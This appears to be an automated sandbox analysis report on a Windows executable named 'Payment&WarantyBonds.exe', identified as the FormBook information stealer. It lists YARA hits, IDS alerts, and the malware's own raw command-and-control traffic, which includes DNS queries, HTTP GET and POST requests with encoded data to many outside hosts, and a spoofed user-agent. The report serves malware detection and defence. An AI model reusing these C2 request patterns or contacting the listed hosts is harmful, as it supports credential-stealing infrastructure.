Windows Analysis Report
Payment&WarantyBonds.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Payment&WarantyBonds.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4148413603.0000000000B70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2063986251.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4148359872.0000000000B20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4147225829.0000000000550000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2062501078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4150364860.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4148377228.0000000002EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2064136057.00000000021E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Payment&WarantyBonds.exe

Joe Sandbox ML: detected

Source: Payment&WarantyBonds.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Payment&WarantyBonds.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: sysinfo.pdb source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000002.4147696582.0000000000818000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sysinfo.pdbGCTL source: Payment&WarantyBonds.exe, 00000002.00000002.2062877202.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, oDnyHukDVUZk.exe, 00000006.00000002.4147696582.0000000000818000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: oDnyHukDVUZk.exe, 00000006.00000002.4147995475.0000000000A0E000.00000002.00000001.01000000.0000000C.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4147962601.0000000000A0E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: Payment&WarantyBonds.exe, 00000002.00000002.2063188272.00000000013F0000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.00000000048CE000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2068016060.0000000004586000.00000004.00000020.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.0000000004730000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2065768682.00000000043D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Payment&WarantyBonds.exe, Payment&WarantyBonds.exe, 00000002.00000002.2063188272.00000000013F0000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, systeminfo.exe, 00000007.00000002.4148681632.00000000048CE000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2068016060.0000000004586000.00000004.00000020.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000002.4148681632.0000000004730000.00000040.00001000.00020000.00000000.sdmp, systeminfo.exe, 00000007.00000003.2065768682.00000000043D0000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\systeminfo.exe

Code function: 7_2_0056C500 FindFirstFileW,FindNextFileW,FindClose,

7_2_0056C500

Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 4x nop then xor eax, eax		7_2_00559E20
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 4x nop then mov ebx, 00000004h		7_2_046504DE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49741 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49741 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49794 -> 103.120.80.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49826 -> 103.120.80.111:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49840 -> 103.120.80.111:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49840 -> 103.120.80.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49890 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49810 -> 103.120.80.111:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49876 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:49918 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49969 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:49918 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49954 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50023 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50024 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50032 -> 20.2.249.7:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50023 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50028 -> 172.67.154.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50025 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50036 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50037 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50033 -> 20.2.249.7:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50042 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50049 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50052 -> 34.92.128.59:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50051 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50020 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50051 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49985 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50044 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50056 -> 152.42.255.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50040 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50050 -> 144.76.190.39:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50031 -> 172.67.154.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50053 -> 34.92.128.59:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50046 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50059 -> 152.42.255.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50059 -> 152.42.255.48:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50031 -> 172.67.154.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50045 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50047 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50027 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50041 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50027 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50022 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50038 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50047 -> 217.76.156.252:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50057 -> 152.42.255.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49904 -> 217.160.0.60:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50043 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50043 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50026 -> 198.251.84.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50034 -> 20.2.249.7:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50054 -> 34.92.128.59:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50021 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50029 -> 172.67.154.67:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50035 -> 20.2.249.7:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50035 -> 20.2.249.7:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50058 -> 152.42.255.48:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50030 -> 172.67.154.67:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50039 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50039 -> 203.161.49.193:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50000 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50000 -> 161.97.142.144:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.4:50055 -> 34.92.128.59:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.4:50055 -> 34.92.128.59:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:50048 -> 144.76.190.39:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.030002059.xyz
Source:	DNS query: www.xipowerplay.xyz
Source:	DNS query: www.091210.xyz

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 20.2.249.7 20.2.249.7

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View	ASN Name: MICROSOFT-CORP-MSN-AS-BLOCKUS MICROSOFT-CORP-MSN-AS-BLOCKUS
Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /nhtq/?ZT=0+mU6fX4mGgH3aI4KvnZ0Dnt9NN9uhfQ4WQLoO9YJQq1rLkiV3mWe/ShpiWb6GRwN8XKSHyyPlz1ODC2MK0vYsx4EzdsG0j0QesGBnWjRvygBOdKdkC21k4=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.iampinky.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /3ej6/?ZT=Gf4n60vPMxeL0A+d5GBWdueSYaV7AAF6sYlT7O2otcMNGwtil4ITBlU9iT/EVO+vtwlhWFB1C/mfTw8URcWhMQgTObTwj1m/ib0JAzzbicsZX3cTLGstzzo=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.cotti.clubConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /diem/?mTkD=Gj2Ti2T0g4&ZT=6kQoSQEqBTKFeIgPWItcwMtJ6+nSmUORx6o6L7StlLAM0wJa+kMHFj5rDbCqKJO5phAeVuacSteB2VMr/yCaTx+wFCn7HbSrd9uZdvfw4QtNwXqKd1ZsMRg= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.solarand.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /2sun/?ZT=HFv57CWzV4D1L9ubGrUw/N+LZZ6BniYLjcS4cRbGENzhA3BKZjtgqnC6wzdpxcsL4M445YXmdmOqKzt/9+uXSXCfKbs+tX0lmfcjUf3N9oWc/wvfMeYS2jQ=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.030002059.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /akxn/?ZT=bVCpbCQOZK8RJSSOpbtjW6178FykoGhXFODVqYypnT+nS+pakzyDZ3G2gJzbbKB5bmDBooJSbxoFgw5n88RQ4gN+spy4B3V2SPR8yfMM1NLM4EIxe0ofqks=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.xipowerplay.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /wd23/?ZT=hRp9+v2en7tRz1flyqG17kFmttLc1zOskyKd0ztIjTxyYqd810hmijNQE9yj6BxK05vUksKTuuJXofOYLi9PR6uwuESMYbomdUS7hY3ZEsqPIlhTOHkKZSQ=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.stationseek.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /jwed/?ZT=BP+RnxL4kRmCbJis2H94uci3abF0xOX/uWRdW7IS0nQn3eBqrLGhokpRAgB0njlljCrnZN3jlOJi4UAaeIXlep/T+OgRPR3ifAipJWCHkORcjZ0KtUFfU2c=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.091210.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /wr26/?ZT=8UnATjvfTpQ77jvixFCgWVUX2yh4jGZbjC17bXoElnpRCxInjgnE/2IqsqXHODoNl6OiDfBQBXM7D7XvNANc8/XGVjRwEyGKTULZaqlRQkXooaUfX5GSz0A=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.adsa6c.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /ep69/?ZT=1FIMhSJhU8+lHAAmrS+FlWYlLXz7aIiZYVZCfaZw4D7e7Ym+VFULEmTMy/HAB+T+rsRxHszMTzww+hC5XQWyLoZ+L/5l/vKoQeg/i8EmIWt3MnVCcXzM6O0=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.simplek.topConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /xyex/?ZT=GRv8gXQeeb2Gl8ts68dy26JEIDOFTPQDU1Y3CPEivIL54q3aRuVfXNser16Tn8T/OBl4IICKxXKXWQiZ2Uzn7HwRtVNzQ2FbKXtno3vR39Y/zqEhWKkV0ww=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.297676.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /dma3/?mTkD=Gj2Ti2T0g4&ZT=IhPPRAmDChEnx8G5Mk3wYKJVvliqClSy7lT3/i9hniKwN2WP3nmtzIAyaYX2MoR3jQRU/NaT7iTCvd3O/fPSuEFMVnQWNGAOAVxjgpJaGw2AUh+P10Czoew= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.cesach.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /3xn5/?ZT=hLX784qEA4n55Q1oGw1olOPE1jv2cb5vRwpnfGUpuE0YTY8y9L6/CN63cm0behm+qDJgSuJj8e8DxEJz6zH1lBsEYFc4WGfLLcwXK2bqtXGi64JZ82gh2/U=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.basicreviews.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /33ib/?ZT=AYOfApeu9cghctp2i/KTSy5LkW4tz9x7+arej5d+r0NkQieZykYOddwLhoh5ni50J8Z5WiAS8Adn1ZwJ2laV/jmSd394ohUQohZCg1IJ+kicD56x/bghldI=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.sgland06.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Source: global traffic	HTTP traffic detected: GET /jr4j/?ZT=/uHXlXwxCWKagG2f+cMqJk/ouEnshdx+b5P4XSvx6MlJZzR/8pbZgxPfuPQh+b7XVC9rmLmVxzweaBtr7+wSxihG8Hktp9qijzhrRRKR+f0leSIT4/3X8Bo=&mTkD=Gj2Ti2T0g4 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.5Host: www.extrime1.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko

Source: systeminfo.exe, 00000007.00000002.4149067807.00000000060F8000.00000004.10000000.00040000.00000000.sdmp, oDnyHukDVUZk.exe, 00000008.00000002.4148454215.00000000039D8000.00000004.00000001.00040000.00000000.sdmp

String found in binary or memory: <a href="https://www.facebook.com/piensasolutions" class="lower" target="_blank" title="S equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: www.iampinky.info
Source: global traffic	DNS traffic detected: DNS query: www.cotti.club
Source: global traffic	DNS traffic detected: DNS query: www.solarand.online
Source: global traffic	DNS traffic detected: DNS query: www.030002059.xyz
Source: global traffic	DNS traffic detected: DNS query: www.xipowerplay.xyz
Source: global traffic	DNS traffic detected: DNS query: www.stationseek.online
Source: global traffic	DNS traffic detected: DNS query: www.091210.xyz
Source: global traffic	DNS traffic detected: DNS query: www.adsa6c.top
Source: global traffic	DNS traffic detected: DNS query: www.simplek.top
Source: global traffic	DNS traffic detected: DNS query: www.297676.com
Source: global traffic	DNS traffic detected: DNS query: www.cesach.net
Source: global traffic	DNS traffic detected: DNS query: www.basicreviews.online
Source: global traffic	DNS traffic detected: DNS query: www.sgland06.online
Source: global traffic	DNS traffic detected: DNS query: www.extrime1.shop

Source: unknown

HTTP traffic detected: POST /3ej6/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.5Host: www.cotti.clubCache-Control: max-age=0Content-Type: application/x-www-form-urlencodedContent-Length: 199Connection: closeOrigin: http://www.cotti.clubReferer: http://www.cotti.club/3ej6/User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like GeckoData Raw: 5a 54 3d 4c 64 51 48 35 43 50 32 46 6c 65 53 30 51 58 34 77 58 4e 37 55 65 4b 5a 52 4a 6b 49 41 69 56 75 78 71 64 71 6c 66 57 42 76 66 49 78 41 41 39 41 79 70 45 53 4d 68 77 58 72 57 44 36 64 35 6d 67 6f 79 70 4f 62 33 6b 62 47 5a 75 54 55 47 35 4d 4d 37 43 74 42 68 42 47 49 49 2b 6b 68 30 57 4b 2b 62 78 63 41 30 4c 44 72 2f 68 70 43 42 49 59 41 56 41 73 74 41 68 38 47 66 67 4e 63 78 45 56 7a 44 74 64 39 61 45 72 39 39 61 38 31 68 44 53 74 79 74 5a 31 67 38 7a 35 44 55 5a 6e 77 34 41 6f 32 51 76 50 39 72 4c 4a 58 71 6b 32 64 6f 7a 51 4c 67 67 41 57 49 53 36 34 36 73 78 6c 4c 2f 53 77 3d 3d Data Ascii: ZT=LdQH5CP2FleS0QX4wXN7UeKZRJkIAiVuxqdqlfWBvfIxAA9AypESMhwXrWD6d5mgoypOb3kbGZuTUG5MM7CtBhBGII+kh0WK+bxcA0LDr/hpCBIYAVAstAh8GfgNcxEVzDtd9aEr99a81hDStytZ1g8z5DUZnw4Ao2QvP9rLJXqk2dozQLggAWIS646sxlL/Sw==

